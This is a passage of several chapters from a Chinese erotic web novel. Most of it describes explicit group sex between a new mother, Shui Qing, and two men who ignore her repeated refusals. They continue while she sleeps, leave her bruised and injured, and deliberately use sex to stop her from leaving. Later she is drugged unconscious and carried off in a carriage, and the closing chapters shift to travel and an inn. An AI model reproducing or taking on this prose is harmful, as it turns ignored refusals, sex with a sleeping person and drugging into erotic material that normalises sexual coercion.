顾靖堂跟在木易的身後,也迅速地脱下自己的衣物,赤条条地爬到水晴的另一侧,仿效木易的动作,吸含着另一边没有被照顾到的乳尖,另一只空闲的手,来到两条雪白双腿的根部,在浓密的黑色丛林中轻轻拨弄,寻找到最娇嫩的花核轻压慢揉地缓慢给予刺激。
「啊啊……不要……呜……不要……啊啊……不能按……啊……」水晴发出低吟,全身已经被两个男人弄得酥软无力,想要举手反抗却发现到自己连一丝力量都没有,只能瘫软在床上,任凭他们在自己的身上肆意狎弄。
顾靖堂似乎没有听到水晴的哭求,顾自地发狠在那肿胀的花核上头极尽挑逗之能事,没多久,就发现到水晴的呻吟越来越淫媚,呼吸也越来越急促,在一阵娇吟长啼之下,看到一股水柱从她的腿间喷射而出,淫糜妖媚的景象,让两个男人禀住呼息,腿间那根粗硬的男物更加充血狰狞。
腿间的花穴入口更是缓缓地淌流出尚未流尽的淫液,晶亮的水液在一开一阖粉嫩的花唇呈现出最迷人又销魂的蛊惑姿态,让两个许久不曾好好发泄过的男人恨不得将自己挺入其中,狠狠地、发狂地在迷人的水穴当中挺动冲刺。
水晴弓起身子激烈地颤抖着,知道自己在男人的玩弄之下达到高潮,泄出了大量的淫液,当她还来不及做出悔恨的反应之时,只见眼前景色一转,她被男人摆弄趴在床上的姿势,雪白的肉臀高高翘起,还不知道自己发生了什麽事情,秘穴就被一根粗硬火热的长条物狠狠刺入,抽出,刺入,抽出。
「啊啊……好硬……啊啊……好深……嗯……啊……」水晴当然知道自己感到空虚的嫩穴被什麽东西填满,男人狂猛的力道让水晴被撞得神魂不清,只知道身体被充实的感觉很美妙,很销魂,不自觉地淫浪扭摆起腰臀,迎合着男人的插弄。
☆、130.再吵,兩個人都出去!
「喔……水儿的小穴生了孩子还是一样的紧,不……变得更紧、更窄小,夹得我好舒服……」木易圈住纤细的腰肢,极尽狂暴地将自己一次又一次送入,享受着令他无法忘怀的致命感受。
另一方面,顾靖堂当然不会让水晴冷落到自己,来到她的面前,握住自己的火热抵在她的小嘴前头,说:「晴儿乖,张嘴含住。」
水晴原本不想要作,没想到才刚开口,一颗硕大的圆头就这样塞入她的口中,男人丝毫没有犹豫地开始挺动腰臀,看着自己粗大的火热进出她的小嘴,用充满性感又低哑的声音说:「嗯……晴儿的小嘴功力依然不减,都快将我吸乾……」
「水儿身上所有的小嘴都一样棒,不管哪一个,都令人流连忘返,但是,最棒的还是下头的小穴,不管有没有进入,轻轻一弄,就流出好多水,果然水儿就像是水作的一般,真想要无时无刻都在她的里头不出来。」木易大手拨开两片肉臀,让小穴更加裸露在他的眼前,看到两人交合之处一直喷洒出来的水珠,淫糜的声响啪啪地充斥满室,让他已经不同於常人的粗大,更加肿胀,撑得水晴想要直呼大叫,只可惜她的嘴里还含着另一个男人的粗长,想要有任何反驳,都不可能成调。
就在水晴想要反抗木易的说法时,顾靖堂低声嘶吼,「小妖精,就这麽不甘寂寞,上头的小嘴有这麽饿?」感受到丁香小舌正胡乱地顶着,一个不小心顶到顶端的敏感小口,让他差一点就忍不住地喷射,幸好他知道她的小嘴跟下头的小穴一样迷人,所以,在腰间一阵酥麻的当下,停下动作,缩紧腰部的肌肉,稳住自己差点泄了的慾望,稍作休息又开始再次让她的小嘴吞吐着。
「唔唔……我没有……唔……嗯……」水晴小手推着顾靖堂的股间,好不容易喘口气,又再度被男人塞得满满,根本连话都说不清楚,只能摇着头表达自己的意见,但是这样的动作却一点都没有引起两个男人的怜惜之情,反而认为她是欲迎还拒的态度,而感到非常兴奋,让他们忘情地在上下两张小嘴当中冲刺,恨不得让自己融化在那两张小嘴里头。
「噢……听不到她的淫荡叫声真不习惯,快将她抱起来……」顾靖堂粗喘着气说。
「水儿等等要喊得大声一些……」木易当然也想要听到水晴淫媚的呻吟,听到顾靖堂的话之後,将自己退出她的体内,大手一捞,将水晴整个人翻身抱起,让她面对着自己,大腿挤进她的腿间,胯间的粗大有如识途老马一般,一瞬间又插入那湿淋淋的小穴当中,并没有急於抽插,只是静静地在娇嫩的花穴甬道当中,等待着顾靖堂下一步动作。
顾靖堂虽然有些不满水晴不是面对他,可是胯间的慾望让他没有太多的选择余地,更何况她的小菊穴与前头的花穴相比,一点都不逊色,在里头也是很轻易地就让他沉溺於其中。
「不要……」水晴发现到底在臀後的火热正跃跃欲试地想要进入,一想到他的粗大连前头的小穴都有些难以承受,有些害怕地拒绝,可是顾靖堂轻含着她的耳垂,用极为蛊惑的嗓音在她的耳边轻声地说:「晴儿,我要进去了,可能有点疼,忍忍,好吗?」
男人特有的低沉嗓音传到水晴的耳里,有如一股不知名的魔力,让她感到一阵酥麻,本是要拒绝地摇头,却变为点头,顾靖堂见到她如此柔顺的模样,心中一喜,然而想到她後头的菊穴不知道能否承受他的粗大,大手往前头的小穴一抹,沾了大量的液体,往自己的巨大上抹了抹,一手扶着自己的巨大,抵在菊穴入口,先试探性地缓慢挤入,发现到水晴虽然微皱着眉头,见到她没有感到太多疼痛的表情,又再缓缓地将自己推入。
「啊……不要再进来了……嗯啊……好胀……嗯……好大……啊……啊……」水晴前头的小穴已经被木易填得满满,後头又有一根粗大正努力地往自己的体内插入,她都可以感觉到自己体内的皱摺已经被两个男人撑大抚平,虽然胀痛,但更多酥麻快感让她款款地摆动腰臀。
「小荡妇,他才刚插进来而已,就迫不亟待地扭起来。」木易有些吃味地说,两只大手用力地捏着因哺乳变得更加圆润丰硕的绵乳,手指更是恶意地捏着顶端的乳尖,用力地往自己的方向一拉,再松手放开,只见两团乳肉荡漾出阵阵乳波,吃疼的感觉让水晴更是下腹用力一缩,夹得木易撕牙咧嘴地深呼吸好几口气。
水晴的反应却一点都没有让木易感到兴喜,因为他插前头的小穴都还没有让她激起如此大的反应,还需要他特别照顾一下两团绵乳才能有反应,没想到顾靖堂才刚入後头的菊穴,这副淫乱的身体自顾自地摆动起来,尤其那张令人又爱又恨的小嘴,居然吐出许久不曾听过的淫媚呻吟,两相比较之下,让他有一种不如顾靖堂的错觉。
「喔!你是来捣乱的?我才刚插进来,还没享受到!」顾靖堂没想到木易居然如此小心眼,故意弄着水晴的乳肉,让她有激烈的反应,是想看他丢人吧!
「哼!」木易冷哼一声,要不是看在兄弟的份上,以及他对水晴的一往情深,不然,水晴在他的府邸就是他的女人,也不会有现在兄弟共享的情况。「不想要就出去,这样我才好独占水儿!」
「想都别想!」顾靖堂压低怒气地说,他也知道人在屋檐下,不得不低头,若非木易,水晴也不会安然无恙地从司马渊的身边逃出。
「要就快点,再吵就你们两个都出去!」水晴的快感已经被两个男人吊在高空当中,要上不上,要下不下,他们有时间争吵,倒不如快点动作,给她一个畅快!
☆、131.盡情發洩
两个男人听了,顿时楞了一下,随即回过神,顾靖堂伸手往前握住两团白绵,用力地捏出各种不同形状,让她紧紧地往後靠在自己的身前,低头在粉嫩的脖颈上头,吸吮、轻咬、舔舐。木易则是将她两条雪白的大腿分开到最大,深插入里的男根埋在花穴当中轻摩慢蹭。
「啊……木哥哥……不要这样……嗯……要狠狠地……啊……用力一点……嗯啊……」水晴无助地扭摆着身子,许久不曾受到疼爱的身体,被男人们弄得情慾高涨,虽然一开始使劲地想要抗拒,然而,身体原本就被烙印的痕迹,在两人不屈不饶的抚弄之下,已经变得难以忍耐,欲求不满的她开始渴望更多。
「水儿忍不住的模样真是诱人,喊大声一点,媚一点,淫荡一些,木哥哥会满足你的。」木易说完,狠狠地抽出,再用力撞入,顶得水晴发出一阵舒畅的呻吟。
「晴儿怎麽可以这样,他可以满足你,我也可以。」不甘示弱又不喜欢被遗忘的顾靖堂,在薄薄的肠道当中发动了一连串又重又深的冲刺,疼痛又酥麻的感觉让水晴更是止不住地弓起、弯曲身子前後摆动,她已经搞不清楚自己倒底是要逃离,还是迎合着前後男人的插弄。
「嗯……好棒……哈啊……靖堂哥哥……嗯……晴儿还要……啊……啊……」後头的小穴也是敏感至极,男人轻轻地插弄就惹来无助的轻颤,更不用说男人狠狠地顶刺,下腹胀疼的充实,销魂的摩擦,让她一直呻吟得无法合上红唇,一丝丝晶莹的津液从嘴角流出,顺着优美的下巴,白嫩的颈项,凹陷的锁骨,缓缓地来到一只浑圆上头,淫糜又妩媚的模样,看得木易双腿间的男物更加坚硬巨大。
木易双手勾住水晴的膝盖,让两条修长的美腿挂在他的手肘上,让小穴更加敞开方便插弄,一边挺着腰臀,一边嘶吼着:「有我还不够!刚刚不是爽得直喊,现在怎麽还要多一个人,看我怎麽插死你这个小荡妇……小淫娃……」
「噢……你又不是不知道晴儿有多骚,有多浪,一个晚上都还不一定能满足她……喔……後头的小菊穴不输给前头的小骚穴……真爽……」顾靖堂毫不留情地在菊穴中横冲直撞,他不是不想缓下动作,而是停不下来,被包裹的感觉是如此美妙,紧致的肠道虽然没有像前头小穴甬道一般的有弹性,可是,在湿润过後的黏膜当中,却一点都不输给小穴的含吞。
「啊……重一点……嗯……快一点……啊啊……好棒……嗯……木哥哥……啊啊……靖堂哥哥……喔……人家……嗯嗯……好舒服……啊……」水晴为了撑住自己悬空的身体,小手扶在木易宽阔的肩膀上,身子沉沉地倚靠在後头的男人身上,这样的姿势根本让她动弹不得,另一方面,她却又能够在紧张与刺激当中,享受着摩擦的快感,而且还能在男人的抛丢插入抽出之际,不时地夹着体内的两根肉棒。
听到水晴最淫媚的鼓舞,两个男人不管是否会伤到她,开始用力地撞着、刺着、顶着这具身子最淫媚的两个蜜穴,不知道是因为慾望而发热,或者是因为长时间抽插的关系,甬道中滚烫炽热,一直渗出黏腻的淫液,润滑着男女性器之间的摩擦的不适。
水晴已经不知道自己被抛丢了多久,在这律动当中高潮了好几次,到最後已经无法再承受两人丝毫没有尽头的慾望,开始哭喊着:「人家没力气了……啊啊……木哥哥……靖堂哥哥……人家不要……嗯……不要了……啊啊……」
「晴儿已经快撑不下去了,你躺下来,让她趴在你的身上。」顾靖堂停下抽插的动作,看着木易说。
他知道他们兄弟两人的慾望是多麽强烈,在没有水晴之前,他们为了慾望找了许多女人发泄过,可是当他们与水晴有过关系,其余的女人根本就入不了他们的眼,在水晴不在身边的那一段日子,过着如苦行僧一般的日子,现在好不容易能够再一次与她结合,累积许久的慾望,怎麽可能轻易地在短时间内消除。
在他们两人毫无止尽的抽插当中,饶是有经验的女人也快要承受不住,何况是水晴才刚生完孩子,体力还没恢复到最好的状态,当然,某些部位恢复的还不错,有些部位比之前更加丰满圆润,为了让他们能够获得满足,让水晴稍作休息是必要的。
「水儿,忍忍。」木易伸手抹去小脸上的汗珠,不舍地看到她一脸疲累的模样,虽然小穴依旧紧紧含着自己,可是身体已经无力瘫软,只能靠他与顾靖堂支撑,虽然知道这样的体位插弄,他们才可能尽快地获得满足,但水晴都已经哭求成这样,他也只好默默地躺了下来,让水晴趴伏在自己的身上。
「唔……哈啊……哈啊……嗯……啊啊……啊……嗯……」水晴侧着小脸趴在木易的身上轻喘着气,下头的两张小嘴自始至终都含着男人的巨大,这样的姿势让她获得暂时的喘息,可是体内的男根却一点都没有想要停战的意思,木易的大手压在她的粉臀上,有力的腰身正缓慢地磨蹭着,在她背上的顾靖堂,则是一秒挺入,一秒抽出的速度,规律地抽动着。
「喔……没想到这样也是一样的爽!」木易舒爽地轻叹,这样的姿势虽然让他没有办法尽情地抽插,但是在顾靖堂的动作辅助之下,依旧有抽动时的销魂快感,这样的顶刺,正好刮着小穴嫩壁中最敏感的那点,被撑大的肉壁变得较薄,轻易地就能感受到另一边的肉棒正在摩擦,两根男物除了被肠壁、嫩壁夹击,也能清楚地感受到对方肉棒上头狰狞的青筋正随着抽插的动作相互刺激。
☆、132.無止盡的索求
「晴儿是天生媚骨,轻轻撩拨就能够出这麽多的水,而且小穴越操越紧……真不知道该怎麽做,才能松一些……」顾靖堂一手搂住水晴的腰,让她的上身稍微腾空,另一手捏着饱满的丰乳,掐揉着坚挺的乳尖,在抽插的动作当中,极尽亵弄地拉着、扯着。
「啊……乳尖疼……嗯……轻点……啊啊……」水晴皱着眉头娇嗔地喊着,上头的疼,与下头小穴的酥麻,让她又快要忍不住地泄身,可她知道这两个男人连一次都还没有发泄,若是不赶快让他们出来一次,她今天……不,可能好几天都会下不了床。
「水儿的乳汁好香、好甜……」木易张口含住另一边被顾靖堂遗忘的微颤乳尖,伸出舌头勾着粉嫩的顶端,卷着、弹着、舔着、吸着、咬着,用尽各种方法享用着甜美的小果实。
「嗯……啊啊……不要这样……嗯……好刺激……啊啊……好、好……嗯……人家……嗯啊……啊……」水晴颤抖着身子娇喘,到最後她根本就无法说出任何足以形容快感的话语,只能娇声赞叹地吐出无意义的呻吟,纤细妖娆的身段更是扭出曼妙的律动,每一次的款摆让他们结合的部位传来更多的刺激,越发销魂的快感,让三人一次又一次陷入情慾的狂潮当中无法自拔。
「晴儿的小穴被插得很爽?两颗胸乳被捏的感觉很棒?这样摩擦着的感觉很舒服?重重的插,轻轻的插,还是要用磨的?哪一种能让晴儿爽到像是飞上了天?」顾靖堂故意在水晴的耳边说着,这种下流的淫言秽语,听在水晴的耳里,更是羞耻到不行,原本以为师父为了身体而修身养性,没想到他的思想居然没跟着净化,反而变得更加淫乱。
「啊啊……不……嗯……哈啊……啊啊……」这种低级的言语在一般时候听来,只会让人觉得不舒服,可是在现在这时刻,在她耳边说这种话的男人,却是之前她曾爱过的人,原本以为会让她生气,没想到却引发她更强烈的慾望。
「晴儿都不喜欢……那就是要我们退出去……」顾靖堂当然知道水晴想要什麽,故意曲解她的意思,用眼神对木易示意,他们两个人先暂时撤退。
木易当然乐於配合,因为这个小淫娃常常口是心非,若没有好好调教一番,只怕她还以为可以掌握他们两人,就在他们退出的同时,听到两声啵啵的抽出声响,随即就听到一道娇啼惋惜的叹息。
「嗯……不要……哈啊……嗯……人家……啊啊……」木易与顾靖堂抽出之後,就在下头的小穴入口处缓慢地摩擦着,噗滋、噗滋的轻点退开,又再靠近轻点几下後又退开,如此来回好几次,逗得水晴下头的两个小穴淫水直流,不管她怎麽淫浪的扭摆身子,红唇吐出多少淫啼,这两个男人就是不肯给她一个痛快。
「水儿想要什麽?说出来,哥哥们会达成你的愿望。」木易一边轻戳慢顶,一边用力捏揉着丰乳,他现在也是跟水晴差不多,都忍耐到了极点,若她再不松口,他也不知道该是再插入,或者就此停止,插入让双方都能够得到快乐,停止的话,才能将她的本性引导出来,到底该怎麽做,着实苦恼着。
「晴儿,说出来……」顾靖堂拉扯着一只粉嫩的乳尖,顶在菊穴的男根更是火热地烫着,炽热的温度让水晴忍不住娇颤不已。
「唔……啊……嗯……哈啊……」水晴紧咬着唇瓣,就是不肯先说任何求饶的话,尤其这两个男人似乎与她比拼,看谁的忍耐力最强,水晴知道在这种时刻,先开口的人就是示弱,在这两个男人肆无忌惮的亵弄之下,她说什麽也不能讨饶。
得不到水晴回应的顾靖堂与木易,彼此相看了一眼後,决定变更计画,这一次就不是在入口处顶弄,而是微微插入,又退出,些许插入,又退出,插入抽出的当下,都可以听到啵啵的声响,这样的挑逗才是最令人难以忍受,就像是给了点甜头,又马上收回,令人恨得牙痒痒,却又不能够作些什麽。
在两个男人恶劣地狎弄之下,水晴最後一丝理智终於溃堤,忍不住地哭喊着:「啊嗯……人家两个小穴……嗯啊……都想要哥哥们的肉棒……啊啊……」
听到水晴热情的邀请,两个男人终於松了口气,一人捧住两只浑圆,一人圈住盈盈不握的纤腰,大力地往娇嫩又湿润的小穴撞入,一时之间,充实的感觉,紧致的夹含,让三人吐出舒畅的叹息。
「啊啊……好棒……木哥哥……靖堂哥哥……你们插得人家好爽……好舒服……啊啊……嗯……」水晴已经失去了理智,她现在根本就不知道自己到底在喊些什麽,只知道她喊得越大声,两个男人给她的快感就越多,快感越多,她又变得更加淫荡,男人又给她更销魂的刺激,到最後身体就像是有自我意识一般,随着男人的插弄,摇摆出淫乱的媚姿。
「把我夹得这麽紧,刚刚不是才泄了身,小穴怎麽又这麽饥渴,晴儿真是淫荡的娃儿……是不是?」顾靖堂不仅更用力地捏着一只胸乳,下身的挺动更是变得狂暴,插得水晴大呼受不住。
「噢……水儿的小骚穴不要这麽用力夹着,我都快动不了了……」在水晴上方的顾靖堂依旧缓慢地抽动,然而木易被小穴咬得动弹不得,这下子变成他进退不得,只好伸手来到花穴的入口,找到已经肿胀不堪的花核,用粗糙的手指轻轻地拨弄几下。
「啊啊……那里不行……啊……要、要到了……木哥哥……嗯……放过人家……啊啊……到了……到了……」水晴求饶地娇啼,快感都已经快要溢满出来,被木易这样一弄,她又再次泄身,瘫软在木易的身上,大口地喘着气。
05-26
☆、133.以身體為手段
「不要……不要再来了……」水晴在睡梦当中,依旧对於这几天被两个索求无度的男人发出抗议的呢喃,一张小脸皱得像颗小包子,全身雪白的肌肤布满了红红紫紫的瘀痕,只要是明眼人一看,就会知道她被狠狠地疼爱过。
「可怜的晴儿,连睡觉也不得安眠。」顾靖堂抱着水晴面对面地一起躺在床上,两人最私密的部位正紧紧相连,这几天他与木易两人几乎没日没夜地在水晴的身上寻求欢乐,除了必要的生理需求,以及两个孩子要吃奶的空档之外,他们三人几乎交缠在一起。
「还不是你的错!」木易躺在另一侧,精壮的胸膛贴着雪背,一只手往前握住一只浑圆,随意地揉捏着。
「我可不像你这麽狠。」顾靖堂自认自己可是对水晴有着怜惜之心,才不像木易根本就像是一只发狂的野兽,不顾她的意愿,任意地在她身上发泄。
「好说!水儿後头的小穴不就是你弄伤?明知道她已经很久没有过,一开始就狂抽猛送,害得水儿到现在依旧肿得厉害。」木易根本不认这个帐,要说狠心,他还比不上顾靖堂。
「啧!」顾靖堂轻叱一声,现在也不是追究谁的责任,水晴在他们三天的激情欢爱之下,一张粉嫩的小脸,可以看出疲惫的神情,小嘴被他们吸吮的红肿不堪,下头的两个小穴的情况更是不言可喻,等到他们回过神,才发现到她已经被他们折腾到快散了架。
要不是外头的奶娘催着两个小主子要吃母亲的奶,他们还可能腻在她的身上,不过,看到她一边喂奶,一边点头酣睡,顾靖堂与木易两人即便再想要继续,也得看在她快要不支的情况,忍痛停下需求。
不过,相当的福利与补偿也得要付出,暂停激情的要求,就是有人要在她的体内安安稳稳待着,而且不准她穿上任何衣服,只用一件被单裹着,为了就是等她恢复体力之後,还能继续享用福利。
至於何人要在那温暖又湿润的小穴当中,继续体验被夹含的快感,木易与顾靖堂两人一开始当然不相让,到最後顾靖堂使了一点小手段赢了这个权利,得意洋洋的模样让木易恨得牙痒痒,但是,输了就是输了,他也没有多说些什麽,虽然没办法继续在迷人的小穴当中,摸摸那细腻的肌肤,闻着女体特有的馨香味,抓着那双小手在他的火热上头摩擦着,也不无小补。
顾靖堂怕吵醒好不容易入眠的水晴,下身只敢轻轻地蠕动,虽然不像快速抽插那般销魂,然而小穴无意识的收缩夹含,是另一种说不出的快乐,然而越发堆叠的快感,让他的气息越来越紊乱,在她的体内好一阵子之後,突然一声闷哼,随即吐出一口沈重又深长的叹息。
木易气愤地看着一脸清爽舒畅的顾靖堂,咬牙狠狠地说:「爽完了?可以聊正事了!」
「说吧。」顾靖堂一脸清爽地看着木易,一点都不在意这个男人的恶言相向,他现在可是在感受射出的同时,小穴收缩并洒出大量的蜜汁,没想到她的身体已经如此敏感,连睡梦当中,也能因为他的抽插而达到高潮,虽然她的心已经不在他的身上,但是她的身体却还是记得他们两人有过的一切。
「司马渊已经加派人手,看样子得找个时间送出去才行。」木易这几天收到手下传来的消息,司马渊原本气急败坏而无法顺利理清的思绪,现在倒是清明了许多,理出脉络之後,已经将苗头指向他。
在南海国当中,没几个人能在他的眼皮子底下将人从王宫当中偷出,而他——西夜国的王子,又与水晴有过不平凡的交往,现在人正居留在南海国当中,享有相当的国家使者的权利,要说他没有作过些什麽,似乎是说不过去。
「也好。」顾靖堂眼神一暗,语气变得有些落寞,大手轻轻摩挲着细嫩的雪背,温柔地看着正在酣睡的可人儿,没想到他们之间每一次相处时间都如此短暂,每一次的分离都因情势所逼,每一次相聚彼此之间的距离也越来越远,到底是老天在惩罚他,或者他们两人根本就不能够相知相守并相爱。
看着心爱的人远离自己,想要抢回,却又舍不得看到她难过、哭泣的模样,只敢在一旁默默守护,看到一个又一个的男人占有她的身体,进驻她的心,他的心是痛、是悲、是苦,然而看到她因此展露笑颜,他的心是喜、是乐、是甜,到底他该怎麽做才能再一次走进她的心,若不能成为她的唯一,也要让她惦记在心上,成为她骨血的一环,永不忘记。
木易抿着唇,故意无视顾靖堂的消沉,这两个人的恩怨情仇已经随着水晴的失忆而烟消云散,而他虽然曾经获得她的全心全意,当时的他却不知道这份心得之不易,失去之後才知道这份真心是多麽珍贵,想要重新赢回,却看到她越发疏离的态度。
相较於她对於下人们和颜悦色的模样,面对他的言谈行为更是极力地隔开距离,当两个孩子出世之後,这样的情况更是严重,姑且不论孩子的父亲不是他,但他却愿意退让一步,将两个孩子视如己出,保证孩子未来前途一片光明,没想到她居然拒绝了好意,只求孩子满月之後,能够寻得一片祥和安乐之处,与孩子平淡过一生。
当时他没有答应,也没有拒绝,只是想要藉着时间的过去,让水晴打消这个念头,然而,随着日子一天天流逝,更是积极地恳求他帮忙寻找一方乐土,水晴的态度让木易急了,顾靖堂慌了。
他们两人说不动水晴,只好联合起来,利用肉体的关系,让水晴无暇去想到离开的事情,虽然知道这麽作有些不光明,但是,目前他们想得到的方法,也只能利用身体的关系,让水晴离不开他们。
☆、134.避逃
然而,这也只镜中花,水中月,能让她忘记一时,却无法真的从她的心中拔除,每一次午夜梦回,她口中的呢喃已经真实地表彰,不管他们再怎麽努力,就是无法再接近一步。
「这一次送走她,真的不知道要到何日才能再相见。」木易轻轻抚摸着有如丝绸一般的肌肤,眼中的留恋浓得化不开。
「晴儿的愿望是想要平淡过日子,那处是司马渊的手还伸不到那麽远的地方,再说,我们两个根本无法给她所想要的生活,难道要因为我们的私心,看着她日渐憔悴?」顾靖堂重重地吻上她的额,他也知道这一别,就几乎代表着永别,至少,他可以确定,未来的水晴会过得快乐,这样就足够了。
「送走水儿也是一件好事,她在我们身边,也只是让我们伸展不开,顾此失彼只会错失良机。」木易轻叹,现在时运的变化稍纵即逝,只要一丝犹豫,就让人趁虚而入,他辛苦布局这麽多年,不能就此毁於一旦。
「何时?」顾靖堂敛下眼眸问。
「初三。」木易淡淡地回答。
顾靖堂算了下日子,三天後,水晴就要离开,两个孩子已经满月,在这段路程当中,木易已经找好了照顾的人,不会让水晴跟孩子太过於辛劳,这样的安排甚好,凭他一己之力是无法作到完善,木易却可以尽情利用他的权势,作到最好的处置。
「嗯……」正当两人讨论得热烈之时,水晴突然发出一声娇憨的低吟,这声呻吟听在两个好不容易平缓的男人耳里,充满着纯真的蛊惑,似乎在邀请着他们更进一步。
「小妖精,连睡觉也如此勾人。」木易又爱又恨地说。
「我们不就爱她如此?」顾靖堂一个翻身,微微屈起膝盖,让水晴趴卧在自己的身上,修长双腿跨开在他的腰间,让方才停歇的慾望缓慢地在蜜穴当中抽插。
「不是说要让水儿休息?」木易看到顾靖堂的举动,一脸不屑地问。
顾靖堂只是看了木易一眼,他们两人对水晴的所为,彼此心知肚明,见到她生下孩子之後,充满着母性光辉的一面,突然觉得若是孩子是他们的,该有多好。
而他们苦等着机会,好不容易等到她生下孩子,坐完月子,却等到司马渊大规模寻人的动作,而水晴又是拒他们於千里之外,若是让她继续待在南海,只怕会引生更多事端,不得已只能送走她。
原本他们是要瞒着对方,不管用什麽方法,都想让水晴怀上自己的孩子,没想到在偷香的当晚,两个人都不约而同地来到水晴的屋内,两个人对望着,都知道心中打量着什麽主意,眼神交会一阵子之後,他们各退一步,两人都有机会,然而最後孩子会雀屏中选是谁的,就看老天意思。
木易也没说些什麽,翻身压在水晴的雪背上,调整好自己的位置,再一次搂住这具迷人的娇躯,一同沉沦在无尽的慾海当中。
水晴在一阵摇晃当中缓缓醒来,清醒之後,环顾四周,发现自己似乎正在一辆马车上头,猛然回过神,正想要大喊的时候,发现到前头锦帘被掀开,外头的人看到水晴醒来,露出笑容问:「你醒来了,肚子饿不饿,要吃点东西?」
「是你……」水晴看到那张熟悉的脸,就知道自己并不是遭到绑架,而是有人蓄意让她昏睡,然後搬到马车上头,不过现在不是追究到底是谁所为的时候,急忙地起身,追问:「孩子!我的孩子们在哪?」
「不要担心,孩子正在那处熟睡。」对方指了指方才水晴遗漏的角落。
水晴见状连忙连走带爬地往那处移动,当她看到两个孩子闭着眼,小嘴还吐出些许泡泡,熟睡酣眠的可爱模样,让她一颗悬吊的心总算放下。
「孩子一切安好,放心了?」当那人走到水晴的身边,蹲坐下来,笑着问。
「嗯。」水晴只顾着看孩子,没注意到对方已经来到自己的身边,等到她发觉的时候,心中一突,急忙拉开两人的距离。
「这是对待故人的态度?还是担心我会对你作些什麽?」对方挑了挑眉,似笑非笑地看着水晴。
「没有。」水晴低垂着眼睛,疏远有礼地回答。
「果然跟师父所说的一样,你变了。」
水晴继续低头不语,想到这几天发生的事情,她的心情就乱成一团,似乎抓到了一丝东西,可是又说不清楚。不过,她很明确地知道,顾靖堂与木易在她的身上作了些什麽,原本以为他们是要将她囚禁,没想到却让她出府,到底他们心里头在想些什麽,尽是作些令人摸不着头绪的事情。
在她最後的记忆,只知道自己在半昏迷当中,被顾靖堂以口哺喂喝下了不知名的汤药,她的意识就中断,直到方才醒来。没想到一醒来就看到许久不见的故人——莫承瑜,他的态度分明知道与木易、顾靖堂的所为,而且是夥同关系,现在她的人在一辆不知道驶往何处的马车上,孩子虽然被照顾得好好,可是在情况不明的状态之下,不论是谁都会对人产生戒心。
莫承瑜看到水晴一脸戒备的模样,知道她现在正在厘清思绪,缓缓地起身,返回先前之处,说:「二师兄就不勉强你了。不过,为了让你能顺利上车,让你吃了点药睡去,这几天就先不要哺乳,孩子不用担心会饿着,我自有准备。你先好好休息,车上有些小点心,肚子饿就吃些,车上有些颠簸,就稍微忍耐一些,晚点到了镇上的客栈,会让你好好吃顿好吃,睡个好觉。之後有什麽问题,我会一一回答,好吗?」
水晴沉思了一会,点点头,她虽然醒来,可是身体依旧感到些许瘫软,既然是二师兄在此,她也不用担心安全问题,既然他说了会知无不言,那她也不用急於一时,等到安置妥当後,再问清楚便是。
☆、135.下榻
水晴坐在马车上头,眼睛看着两个孩子熟睡的模样,脑海中回想到第一天她到了客栈,莫承瑜果真遵守承诺,对她吐实一切。那晚,她夜不成眠,隔天一大早又坐上马车,继续让莫承瑜带她前往所欲抵达之处。
之後的好几天,路上看不到任何店家,幸好,途中经过几个小村落,顺便补给一些短缺的物资,虽然不是每一次都能够顺利获得,但也足够让他们在旅途中不至於太过拮据,虽然想在村落当中借宿一宿,可惜这些小村落原本人口就少,房屋什麽的都是利用到最极致,根本就腾不出任何房舍,水晴一行人只好在马车上头将就。
如是,过了好几天,他们终於在天黑之前,寻得一处可落脚的地方,水晴坐了长时间的车子,才刚踏下马车,整个人就像是获得了重生一般,忍不住地深呼吸好几回。
一路上风尘仆仆,马车装潢虽然舒适,可是能够活动的地方并不多,等到身体稍微畅快一些,眼神落在眼前这栋建筑物,忍不住诧异地瞪大双眼,好一会儿才转头看向不为所动,一脸清爽的莫承瑜说:「就是此处?」
眼前这栋建筑物,虽然不是用上等的木材建造而成,然而方方正正也看得出是间作工实在,又不花俏的房舍,只是,木头上斑驳的痕迹,以及剥落得差不多的漆,大门的门板随着风吹,似乎摇摇欲坠的模样,里头昏黄的灯光要明不明,根本就像是一间许久未有人居住的屋子,这间真的是客栈?
莫承瑜点点头,看到水晴一脸疑惑的模样,问:「不喜欢?」
他们一行人的前进的方向,几乎都是避开南海国主要干道以及各个大小城镇,所以现在所处的方圆百里之间,几乎可说是前不着店,後不着村,要不是这条路算是连接偏远地区的道路,可能连歇脚的地方都找不到。这间客栈能够遮风避雨,已经算是此处最好的地方,若是她嫌弃,就只能回到马车上,继续窝在那一处小小的空间里头。
「没有。」水晴摇摇头,想到他们现在的情况,似乎跟游玩享乐沾不上边,在车上颠簸好几天,能够有一个安歇的地方,已经是幸福的事情。但是,这栋像鬼屋的客栈是怎麽一回事啊!难不成古人也流行居住鬼屋这种变态的嗜好?
「别看客栈的外表,里头可是出乎意料之外。」莫承瑜当然没错过她惊讶的神情,多年前他曾来到这里,第一眼的印象与反应也是如此,不过真的住进里头,才知道有些时候,单看外表是会有错误的判断。
莫承瑜率先迈开脚步,跟随在後走进的是水晴,以及抱着孩子的两名小婢女,一行五人进到客栈里头,发现到虽然客栈外表破烂,可是里头的桌椅、环境都算得上整齐清洁,由於天色尚未昏黄,所以只在阴暗处点上几盏微弱的灯火,人在里头就不觉得与方才从外看而显得诡异。
「您好!请问客官是要住宿?」一名年约三十的男人看到外头走进五人,连忙上前招呼,当他看到莫承瑜的脸时,歪头思索一会,突然双手一拍,高兴地说:「莫大夫您好!您好!真是贵客!」
「没想到谢老板还记得在下。」莫承瑜对谢老板回以笑容。
「莫大夫客气了!要不是莫大夫的医术高明,拙荆现在可能成为一坏黄土。」谢老板回想到当初,原以为自己的妻子只不过是咳了几声,头痛鼻塞,身体也微微发热,原本以为是小风寒,一开始放任不管,没想到後来越咳越是厉害,吃了好几回的药都没有见效,越到後来,情况变得更加严重,几乎整天都可以听到妻子咳嗽的声音,最後都咳出血来。
若非当时候莫承瑜住进客栈里头,正好遇到妻子咳得上气不接下气,昏了过去,仁心地伸手一帮,才知道妻子一开始只是秋燥症状,没想到放任不管得结果,让病邪入侵,病症加重,一般大夫开的药方已经不足以治癒,所以一拖再拖,才会延误了病情,幸好在莫承瑜的妙手回春之下,妻子身体逐渐好转,不然现在他想与妻子就是天人两隔。
「小事一件,不足以挂齿。」莫承瑜谦虚地回答,看到谢老板似乎还想要寒暄下去,急忙转移话题说:「不知道谢老板此处,是否还有三间空房?」
